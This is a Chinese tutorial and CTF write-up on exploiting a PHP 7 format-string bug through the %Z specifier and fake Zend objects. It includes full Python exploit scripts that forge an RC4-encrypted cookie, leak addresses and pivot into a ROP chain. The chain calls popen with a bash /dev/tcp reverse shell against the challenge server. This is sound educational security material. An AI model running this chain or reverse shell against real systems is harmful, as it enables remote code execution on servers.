PHP pwn入门1 – 格式化字符串漏洞

hackmd首发地址

https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Sy7hS9bBS

前言

PHP是一门不错的语言,它给予了开发者更多的便捷性。但作为一门解释型语言,而且加入了Zend虚拟机的机制,还有其独特的语法糖,使得其在每一次版本更迭后都有漏洞频频爆出。因为其使用的广泛性,研究PHP的漏洞利用方式是有一定价值的。这里笔者将以自己出的CTF为例,记录下自己学习PHP漏洞利用的过程(主要针对PHP7)。

了解PHP变量的基本结构

PHP的一个基本结构是zval,它所对应的变量类型由type这个字段标识。

// /Zend/zend_types.h
struct _zval_struct {
    zend_value        value;            /* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,         /* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)     /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
        uint32_t     access_flags;         /* class constant access flags */
        uint32_t     property_guard;       /* single property guard */
        uint32_t     extra;                /* not further specified */
    } u2;
};

type的值对应的不同类型可以在/Zend/zend_types.h找到

/* regular data types */
#define IS_UNDEF                   0
#define IS_NULL                        1
#define IS_FALSE                   2
#define IS_TRUE                        3
#define IS_LONG                        4
#define IS_DOUBLE                  5
#define IS_STRING                  6
#define IS_ARRAY                   7
#define IS_OBJECT                  8
#define IS_RESOURCE                    9
#define IS_REFERENCE               10

/* constant expressions */
#define IS_CONSTANT_AST                11

/* internal types */
#define IS_INDIRECT                13
#define IS_PTR                     14
#define _IS_ERROR                  15

/* fake types used only for type hinting (Z_TYPE(zv) can not use them) */
#define _IS_BOOL                   16
#define IS_CALLABLE                    17
#define IS_ITERABLE                    18
#define IS_VOID                        19
#define _IS_NUMBER                 20

除了type,另一个我们需要关注的就是value了,它指向了变量对应的实际数据结构体。

比如zend_string和PHP漏洞利用经常用到的zend_object

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};
struct _zend_object {
    zend_refcounted_h gc;
    uint32_t          handle; // TODO: may be removed ???
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};

我们可以发现,一个zend_object结构体中包含了zend_object_handlers部分

这是一个函数列表,在对一个zend_object对象进行处理的时候(可以理解为对PHP的object结构进行一些操作),就会调用其中的函数。

PHP的基本结构以及大部分数据基本都存储在PHP堆管理下的堆区域中(mmap),使用emalloc和efree进行分配和释放。它的管理机制笔者暂时不在本篇提及。但是有个比较简单的规律: 分配并释放一块区域,下次再分配同样的大小又会被分配到该区域(其实这也是mmap的规律了)。

PHP的格式化字符串

PHP的格式化字符串函数增加了一些有PHP特性的格式,比如%Z。这个会将对应参数指向的内容(PHP视作zval结构体的value)强制转换成zend_string输出。

// main/spprintf.c
switch (*fmt) {
    case 'Z': {
        zvp = (zval*) va_arg(ap, zval*);
        free_zcopy = zend_make_printable_zval(zvp, &zcopy);
        if (free_zcopy) {
            zvp = &zcopy;
        }
        s_len = Z_STRLEN_P(zvp);
        s = Z_STRVAL_P(zvp);
        if (adjust_precision && (size_t)precision < s_len) {
            s_len = precision;
        }
        break;
    }
// Zend/zend.c
ZEND_API int zend_make_printable_zval(zval *expr, zval *expr_copy) /* {{{ */
{
    if (Z_TYPE_P(expr) == IS_STRING) {
        return 0;
    } else {
        ZVAL_STR(expr_copy, zval_get_string_func(expr));
        return 1;
    }
}
ZEND_API zend_string* ZEND_FASTCALL _zval_get_string_func(zval *op) /* {{{ */

...

case IS_OBJECT: {
    zval tmp;
    if (Z_OBJ_HT_P(op)->cast_object) {
        if (Z_OBJ_HT_P(op)->cast_object(op, &tmp, IS_STRING) == SUCCESS) {
            return Z_STR(tmp);
        }
    } else if (Z_OBJ_HT_P(op)->get) {
        zval *z = Z_OBJ_HT_P(op)->get(op, &tmp);
        if (Z_TYPE_P(z) != IS_OBJECT) {
            zend_string *str = zval_get_string(z);
            zval_ptr_dtor(z);
            return str;
        }
        zval_ptr_dtor(z);
...

我们可以看到,如果指向的zval是一个object类型,就会调用其zend_object结构体中的handlers中的cast_object这个函数。

所以当触发格式化字符串漏洞的时候,我们只需要在内存中找到一个可控的地址,在其指向的部分填充一个fake zval(type部分填充\x08,value部分填充fake zend_object的地址)、fake zend_object(handlers填充fake handlers)和fake handlers(cast_object填充我们要执行指令的地址),即可控制RIP。但是仅仅控制RIP在很多版本的PHP是不够的,因为RDI不可控,如果是远程攻击而非cli的话,跳到one_gadget就不行了,需要我们去找到一个合适的gadget进行栈迁移达成最终的利用(这里说的是PHP64位的利用)。

这里我以我在vivo 2019 ogeek挑战赛出的题目check in为例写一下具体的利用过程。

ogeek check_in writeup


查看HTML源码发现有文件泄露

发现整个题目的dockerfile和所需附件都给出来了。

逆向test.so和index.php,发现存在漏洞。

反序列化漏洞

$this->index() 从cookie中取出S,依次经过urldecodebase64decodef(rc4加密)base64decode,传入php_var_unserialize

经过反序列化的类依次经过对format赋值、对format_str赋值、对other赋值的操作
然后将整个类作为返回值返回,再调用$obj->render()渲染

format被强制赋值成<h1> Wel ... %s ...,format_str是从反序列化结果的name中提取的,other就是从反序列化结果的other中提取的。

在函数render()里,format、format_str、other分别被传入render_s()中。

format是作为格式被传入zend_vspprintf,剩下两个作为参数。

那么此题的关键在于控制format,在回想刚才format是被写死的,但是它的赋值是在对format_str和other赋值之前进行赋值的,我们可以将format_str通过reference指向format,这样当我们通过name修改format_str时,间接的也修改了format。

$obj->format = &$obj->format_str;

从而造成格式化字符串漏洞。

格式化字符串漏洞

根据上面所说,我们先使用%p泄露libc和libphp的地址,然后控制rip,寻找gadget进行栈迁移。(因为other是第二个参数,且内容可控,所以可以将fake zval、object、handlers布置在上面)

控制RIP时寄存器的状态如下,我们需要跳到一个可以进行栈迁移的位置,将栈迁移至堆上我们可以控制的地方。在寻找gadget之前,我们先记录一下RCX是可控的。

具体寻找gadget思路:

  1. 对寄存器进行交换。
  2. PUSH RCX;POP RSP;
  3. ret 0x???;(这种需要将RAX清空,因为返回值不为0的话会跳到zend_error异常退出从而无法触发到第二次ret进行ROP)

在出题之后,很凑巧在libphp中找到了第二点的gadget

但是比赛当天,我重新使用no-cache build docker的时候发现PHP有更新,这个gadget已经不存在了。

然后我又在libc找到一条可利用gadget, 总算让题目还是可以做。但是libc的地址泄露不是很稳定,需要在所有泄露的地址找以aa结尾的地址。

ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so --depth 30 |grep "push "|grep "pop rsp"

0x0000000000114334 : push qword ptr [rcx] ; rcr byte ptr [rbx + 0x5d], 0x41 ; pop rsp ; ret


exp

未更新前

from pwn import *
import requests
from urllib import unquote,quote
import base64
import os
from binascii import unhexlify
key = '20190712'
def crypto(string):
    sbox = []
    for i in range(256):
        sbox.append(i)
    j = 0
    for i in range(256):
        j = (sbox[i] + j + ord(key[i%8]))%0x100
        sbox[i],sbox[j] = sbox[j],sbox[i]
    i1 = 0
    i2 = 0
    s = ''
    for i in range(len(string)):
        i1 = (i1 + 1)%0x100
        i2 = (i2 + sbox[i1])%0x100
        sbox[i1],sbox[i2] = sbox[i2],sbox[i1]
        s += chr(ord(string[i]) ^ sbox[(sbox[i1]+sbox[i2])%0x100])
    return s


command = "/bin/bash -c '/bin/bash -i >&/dev/tcp/xxxx/xxx 0>&1'\x00\x00"
target = "127.0.0.1"


burp0_url = "http://"+target+"/index.php?a=bbbbbbbbbbb%00cccccccc"
burp0_cookies = {"PHPSESSID": "769cb13v1vbmusfntcpqs3t3bl"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Referer": "http://172.16.91.148/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data={"username": "admin", "password": ":admiN123:"}
#a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
#print base64.b64decode(crypto(base64.b64decode(unquote(a.text.split("cookie='S=")[1].split("';location.hre")[0]))))
'''
a.php 

<?php
Class CppClass {
  var $name,$format,$format_str,$other;
}
if($argc<=2){
$obj = new \CppClass;
echo serialize($obj);
}
else
{
        $format = base64_decode($argv[1]);
        $exp = base64_decode($argv[2]);
        $obj = new \CppClass;
        $obj->name = $format;
        $obj->format = &$obj->format_str;
        $obj->other = $exp;
        echo base64_encode(serialize($obj));
}
?>

'''
def f(fmt,exp):
    try:
        b = os.popen("php a.php "+base64.b64encode(fmt)+" "+base64.b64encode(exp)).read()
        burp0_cookies["S"] = quote(base64.b64encode(crypto(b)))
        return requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
    except:
        return 0


format_str = 'AAAAAAAA%p%p%p%p'
exp = "D"*24+"EEEEEEEE"*37
a = f(format_str,exp).replace("<!-- ./html.zip --!>",'')

heap_addr = a.split('0x')[2]
log.success("heap_addr: 0x"+heap_addr)

heap_addr = int('0x'+heap_addr,16)
lib_php_addr = a.split('0x')[4]
lib_php_addr = int('0x'+lib_php_addr,16)-0x2d0240
log.success("lib_php7.2.so base addr : "+hex(lib_php_addr))
magic_addr = lib_php_addr + 0x2e512b # push rcx; pop rsp; ret;
pop3_ret = lib_php_addr + 0xdbb57
pop_rsi = lib_php_addr + 0xdb427
pop_rdi = lib_php_addr + 0xdbb5c
call_popen = lib_php_addr + 0x1C6A71

'''
Generate fake *zval and *zend_object and *zend_object_handlers
Convert fake *zend_object to *zend_string (%Z)
https://github.com/php/php-src/blob/e6f86fb17cd3a2dfe94ca1a0113a23194cb1915a/main/spprintf.c#L401
https://github.com/php/php-src/blob/21b0f444296ac44eadc7ed3474fba5978ec8163d/Zend/zend.c#L356
https://github.com/php/php-src/blob/7f994990eab4ffc3eb8cddca413dc4bcd03e3457/Zend/zend_operators.c#L878
We can contol PC now.
Stack pivot (magic_addr) => ROP => popen(command,"r");
'''

format_str = "AAAAAAAA%p%Z%p%p"
exp = p64(heap_addr+0x10) # heap_addr
exp += p64(0x8)           # heap_addr+0x8
exp += p64(pop3_ret)      # heap_addr+0x10
exp += "AAAAAAAA"         # heap_addr+0x18
exp += "BBBBBBBB"         # heap_addr+0x20
exp += p64(heap_addr+0x30)
exp += p64(pop_rdi)
exp += p64(heap_addr+0xe8)
exp += p64(pop_rsi)
exp += p64(heap_addr+0xe0)
exp += p64(call_popen)
exp += "CCCCCCCC"*16
exp += p64(magic_addr)
exp += "r"+"\x00"*7
exp += command.ljust(80,'\x00')
exp += "AAAAAAAA"
a = f(format_str,exp)
log.success("exploit ok")

更新后

from pwn import *
import requests
from urllib import unquote,quote
import base64
import os
from binascii import unhexlify
key = '20190712'
def crypto(string):
    sbox = []
    for i in range(256):
        sbox.append(i)
    j = 0
    for i in range(256):
        j = (sbox[i] + j + ord(key[i%8]))%0x100
        sbox[i],sbox[j] = sbox[j],sbox[i]
    i1 = 0
    i2 = 0
    s = ''
    for i in range(len(string)):
        i1 = (i1 + 1)%0x100
        i2 = (i2 + sbox[i1])%0x100
        sbox[i1],sbox[i2] = sbox[i2],sbox[i1]
        s += chr(ord(string[i]) ^ sbox[(sbox[i1]+sbox[i2])%0x100])
    return s

command = "/bin/bash -c '/bin/bash -i >&/dev/tcp/xxx/xxx 0>&1'\x00"
burp0_url = "http://47.112.98.102:14141/index.php?a=bbbbbbbbbbb%00cccccccc"
burp0_cookies = {"PHPSESSID": "769cb13v1vbmusfntcpqs3t3bl"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Referer": "http://172.16.91.148/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data={"username": "admin", "password": ":admiN123:"}
#a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
#print base64.b64decode(crypto(base64.b64decode(unquote(a.text.split("cookie='S=")[1].split("';location.hre")[0]))))

def f(fmt,exp):
    try:
        b = os.popen("php a.php "+base64.b64encode(fmt)+" "+base64.b64encode(exp)).read()
        burp0_cookies["S"] = quote(base64.b64encode(crypto(b)))
        return requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    except:
        return 0


format_str = 'AAAAAAAA'+"%p"*700
exp = "D"*24+"EEEEEEEE"*37
a = f(format_str,exp).text.replace("<!-- ./html.zip --!>",'')
#print a

heap_addr = a.split('0x')[2]
log.success("heap_addr: 0x"+heap_addr)

heap_addr = int('0x'+heap_addr,16)
lib_php_addr = a.split('0x')[4]
lib_php_addr = int('0x'+lib_php_addr,16)-0x2d0240-0x3c0
log.success("lib_php7.2.so base addr : "+hex(lib_php_addr))
libc_addr = a.split('0x')
libc_addr = libc_addr[-1] # libc addr end with 'aa', you need to adjust the index according to the actual situation.
libc_addr = int("0x"+libc_addr,16)-0x5b9aa
log.success('libc_addr: ' + hex(libc_addr))
magic_addr = libc_addr + 0x114334 #push [rcx];...;pop rsp;
log.success('magic_addr: ' + hex(magic_addr))
pop_ret = lib_php_addr + 0xdb427
pop_rsi = lib_php_addr + 0xdb427
pop_rdi = lib_php_addr + 0xdbb5c
call_popen = libc_addr + 0x80930

format_str = "AAAAAAAA%p%Z%p%p"+"%p"*(700-4)
exp = p64(heap_addr+0x10) # heap_addr  (rbx)
exp += p64(0x8)           # heap_addr+0x8
exp += p64(heap_addr+0x20)# heap_addr+0x10 (rcx)
exp += "AAAAAAAA"         # heap_addr+0x18
exp += p64(pop_ret)       # heap_addr+0x20
exp += p64(heap_addr+0x30)
exp += p64(pop_rdi)
exp += p64(heap_addr+0xe8)
exp += p64(pop_rsi)
exp += p64(heap_addr+0xe0)
exp += p64(call_popen)
exp += "CCCCCCCC"*16
exp += p64(magic_addr)
exp += "r"+"\x00"*7
exp += command.ljust(80,'\x00')
exp += "AAAAAAAA"
a = f(format_str,exp)
log.success("exploit ok")

  • 用支付宝打我
  • 用微信打我

一条回应:“PHP pwn入门1 – 格式化字符串漏洞”

发表评论

电子邮件地址不会被公开。 必填项已用*标注